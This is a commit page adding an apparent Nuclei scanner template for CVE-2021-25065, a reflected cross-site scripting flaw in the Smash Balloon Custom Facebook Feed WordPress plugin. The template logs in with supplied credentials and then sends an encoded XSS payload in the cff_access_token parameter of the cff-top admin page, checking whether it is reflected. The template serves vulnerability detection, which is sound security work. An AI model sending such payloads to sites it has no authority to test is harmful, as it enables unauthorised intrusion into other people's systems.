Merge pull request #7929 from harsh2403/main-2

Create CVE-2021-25065
patch-1
pussycat0x 2023-08-16 11:25:06 +05:30 committed by GitHub
commit 5d6d00a53e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 43 additions and 0 deletions

View File

@ -0,0 +1,43 @@
id: CVE-2021-25065
info:
name: Smash Balloon Social Post Feed < 4.1.1 - Authenticated Reflected Cross-Site Scripting
author: Harsh
severity: medium
description: |
The plugin was affected by a reflected XSS in custom-facebook-feed in cff-top admin page.
remediation: Fixed in version 2.19.2
reference:
- https://wpscan.com/vulnerability/ae1aab4e-b00a-458b-a176-85761655bdcc
- https://wordpress.org/plugins/custom-facebook-feed/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cwe-id: CWE-79
metadata:
max-request: 2
verified: true
publicwww-query: "/wp-content/plugins/custom-facebook-feed/"
tags: cve,cve2021,wpscan,wordpress,wp-plugin,xss,wp,authenticated
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=cff-top&cff_access_token=xox%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert(document.domain)%3E&cff_final_response=true HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(body_2, "<img src onerror=alert(document.domain)>")'
- 'contains(body_2, "custom-facebook-feed")'
condition: and